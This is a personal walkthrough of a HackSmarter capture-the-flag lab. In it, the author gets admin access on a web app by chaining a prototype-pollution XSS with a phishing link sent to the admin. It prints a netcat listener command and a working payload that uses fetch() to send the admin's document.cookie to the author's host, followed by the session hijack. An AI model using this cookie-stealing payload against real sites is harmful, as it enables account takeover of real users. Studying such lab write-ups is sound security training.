HackSmarter Challenge Lab: Free Access - Polution (Easy)

• https://www.hacksmarter.org/courses/1de73367-b278-41ba-a63c-83c2d510621c
• We'll do our normal VPN thing. 
• Our challenge is: 
• The credentials below mirror a customer. Are you able to elevate your privileges and become an Administrator? 
• After getting nowhere with the browser on port 80/443 I ran NMAP\
• 

• Now we can go to http://x.x.x.x:3000 and log in with the provided credentials
• Don't forget to change the scope in Caido or BurpSuite 

• I can change my cookie from pentester to admin.  
• It reflects on the page but I am not really an admin. 
• There's webmail, and it goes to an admin 
•  let's see if we can make the admin reach out to us, let's start a listener
•  sudo nc -nvlp 80 (nothing exciting here , you don't need a screenshot
•  Then send this over to the admin :
•  
• He clicked on our link
•  
This is where I think we can try to steal his cookie, by calling /message?document.cookie or something like that. 
• I opened up my python http server because nc was disconnecting at every connect 
• http://10.200.78.16:8000/message?c=+document.cookie
• I don't get anything though, at least the cookie
•  This is where I cheated, I looked at some writeups, and realized that it's this thing called parameter pollution, long story short I don't know about this. 
• I am looking a bit more about it but it reminds me of PHP Filters. 

• http://10.1.26.5:3000/dashboard#__proto__.renderCallback=<img src=x onerror="alert(1);"/>

  •  This POC shows us that we have XSS with Paramater Pollution

    I wonder if we change the 1 to document.cookie 

   Look at that.  Let's combine that with our XSS that we send to our admin in webmail.
• We'll use this payload
• http://10.1.26.5:3000/dashboard#__proto__.renderCallback=<img src=x onerror="fetch('http://10.200.78.16:9000/?c='+document.cookie)">
• This is our response,  I used different ports not to contaminate my responses
•  
•  Now let's try and use that session in our browser, we are already authenticated as pentester, so we modify our current session in the console the browser

• document.cookie = "session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; path=/";
  document.cookie = "user=admin; path=/";

•  Then we browse into the incident reponse page: 
•  
• What did I learn here, even though this is an EASY lab , it was not easy for me, more Pollution in prototypes for me